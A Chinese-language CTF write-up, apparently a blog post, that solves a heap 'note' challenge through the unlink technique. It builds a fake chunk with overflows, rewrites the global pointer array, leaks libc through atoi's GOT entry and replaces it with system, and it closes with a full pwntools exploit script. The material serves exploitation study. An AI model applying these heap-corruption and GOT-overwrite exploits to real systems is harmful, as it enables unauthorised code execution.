正在学习Unlink - CTF wiki,参考上面的方法自己打了一遍,其实是感觉上面的方法有些不必要的步骤,因此自己做的时候简化了一下……
题目分析
ubuntu16 64bit 菜单题
Partial RELRO,no PIE –> 可以覆写 GOT 进行攻击
提供了四个功能:
- 添加 note,size 限制小于等于 0x80 且会被记录,note 指针会被记录。
- 展示 note 内容。
- 编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。
- 释放 note。
程序存在两个漏洞:
- 在添加 note 时,程序会提供写入 note 内容的功能。这里使用了一个循环且每次读取一个字符的自己写的读取函数,循环次数是 size-1 次,然而比较是无符号数比较(看来以后 for 循环里的比较符号类型也要好好注意)。所以如果 size 是 0 的话,程序就会一直读取,是一个堆溢出漏洞。
- 在编辑 note 时,程序采用及其奇怪的各种字符串操作来读取。不解释原理地简单来说,如果编辑的 note 之前 size 填入的是 0 ,而且输入的字符串大小大于 0 的话,也会触发一个堆溢出漏洞。但可惜由于出题人采用的字符串函数,这里编辑的内容遇到 NULL Byte 就停止输入了。
此外,程序最多允许申请 4 个 note,即使释放了 note 也不会增加名额。
基本思路
程序用一个全局数组对 size 和指针进行存储,因此只要用 unlink 漏洞,想办法修改那个全局数组(下称 PArray)即可。
unlink
为了触发 unlink,我们通过构造假的已释放区块来进行攻击。全局指针数组中有指向区块+0x10 的指针(因为是指向用户可用区域嘛),我们就在某个区块的可用区域构造一个假区块。
1 2 3 4 5 6
| newnote(0x40, b'a'*8 + pack(0x61) + pack(fake_fd) + pack(fake_bk)) newnote(0, b'b'*0x10) newnote(0x80, b'c'*0x80) deletenote(1) newnote(0, b'b'*0x10 + pack(0x60) + pack(0x90)) deletenote(2)
|
首先创建一个 0x50 大小的区块(原因之后介绍),在其中构造假区块的头部。
然后再依次创建两个小区块,我们的目标是触发 unlink,就需要一个大于 fastbins 的区块大小。根据 pwndbg 调试发现该版本 libc 下 fastbins 最大大小是 0x80,因此这里的 c2 足够触发 unlink。
通过释放再申请 c1,c4 拿到了 c1 的空间,此时就可以利用那个堆溢出漏洞,修改 c2 的 chunk header,来完成假区块尾部的构造。
此时堆结构如下(使用 ASCIIFlow 绘制):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| │ │ │ │ ────────┼────────────┤ │ │ Chunk 0 │ header │ │ │ ├────────────┤ ├───────────┼──────── ◄────── PArray[0] │ │ │fake header│ Fake │ │ ├───────────┤ Chunk │ │ │fake fd │ │ │ │fake bk │ ────────┼────────────┤ │ │ Chunk 1 │ header │ │ │ Chunk 4 ├────────────┤ │ │ ◄────── PArray[3] │ │ │ │ ────────┼────────────┤ ├───────────┼──────── Chunk 2 │ header │ │fake header│ Chunk 2 ├────────────┤ ├───────────┤ ◄────── PArray[2] │ │ │ │ │ │ │ │ free │ │ │ │ this │ │ │ │ │ │ │ │ ────────┼────────────┤ ├───────────┼──────── │ │ │ │
|
释放 c2,将触发 free 中的 unlink,从而我们就成功地把 PArray[0]改为了 PArray-0x18。
至于 c2 之后会被 Top Chunk 吞并要不要紧,我们表示这无所谓,因为我们已经有了任意地址读写的能力了。
完成攻击
程序不仅提供了修改,还提供了展示 note 内容的功能,因此接下来做的事情可以很简单,泄露 GOT 表、覆盖 GOT 表两步。
1 2 3 4 5 6 7 8 9
| editnote(0, 1, b'a'*0x18+pack(parray+8)) editnote(0, 1, pack(elf.got["atoi"])) shownote(1)
io.recvuntil(b"Content is ") base = unpack(io.recvuntil(b"1.N")[0:6]+b'\0\0') - libc.symbols["atoi"] success("libcbase: " + hex(base))
editnote(1, 1, pack(base+libc.symbols["system"]))
|
此时 parray[0] 指向 parray-0x18 的位置,但我们要注意 edit 功能遇到 NULL Byte 就停了,最多只能修改一个地址进去。
这里在不知道之后会遇到什么的情况下,还是稳妥一些比较好,因此这里首先把 parray[0] 设置为 &parray[1],这样我们拥有了无数次修改 parray[1] 的机会。
我们把 parray[1] 设置为 GOT[atoi],并泄露其地址,计算出 system 地址。再把 GOT[atoi] 设置为 &system。这里就发现上面不用无数次修改机会,其实 1 次就好了 hhh。
最后,由于程序每次读取菜单选项都用了 atoi (system)函数,程序本身实际上已经变成了一个 shell,只不过会多打印一个菜单出来。我们不需要输入 “/bin/sh” 只需要输入 ls 然后 cat flag 就可以拿到 flag 了。
完整 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import * from LibcSearcher import * context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
filename = "./pwn" io = process([filename])
elf = ELF(filename)
libc_name = "./libc/16_64.so" libc = ELF(libc_name)
def newnote(length, content): io.recvuntil(b'option--->>') io.sendline(b'1') io.recvuntil(b'(less than 128)') io.sendline(str(length).encode("ascii")) io.recvuntil(b'content:') io.sendline(content)
def shownote(id): io.recvuntil(b'option--->>') io.sendline(b'2') io.recvuntil(b'note:') io.sendline(str(id).encode("ascii"))
def editnote(id, choice, s): io.recvuntil(b'option--->>') io.sendline(b'3') io.recvuntil(b'note:') io.sendline(str(id).encode("ascii")) io.recvuntil(b'2.append]') io.sendline(str(choice).encode("ascii")) io.sendline(s)
def deletenote(id): io.recvuntil(b'option--->>') io.sendline(b'4') io.recvuntil(b'note:') io.sendline(str(id).encode("ascii"))
parray = 0x602120 sarray = 0x602140
fake_fd = parray - 0x18 fake_bk = parray - 0x10
io.sendline(b'cameudis') io.sendline(b'earth')
newnote(0x40, b'a'*8 + pack(0x61) + pack(fake_fd) + pack(fake_bk)) newnote(0, b'b'*0x10) newnote(0x80, b'c'*0x80) deletenote(1) newnote(0, b'b'*0x10 + pack(0x60) + pack(0x90)) deletenote(2)
editnote(0, 1, b'a'*0x18+pack(parray+8)) editnote(0, 1, pack(elf.got["atoi"])) shownote(1) io.recvuntil(b"Content is ") base = unpack(io.recvuntil(b"1.N")[0:6]+b'\0\0') - libc.symbols["atoi"] success("libcbase: " + hex(base))
editnote(1, 1, pack(base+libc.symbols["system"]))
io.interactive()
|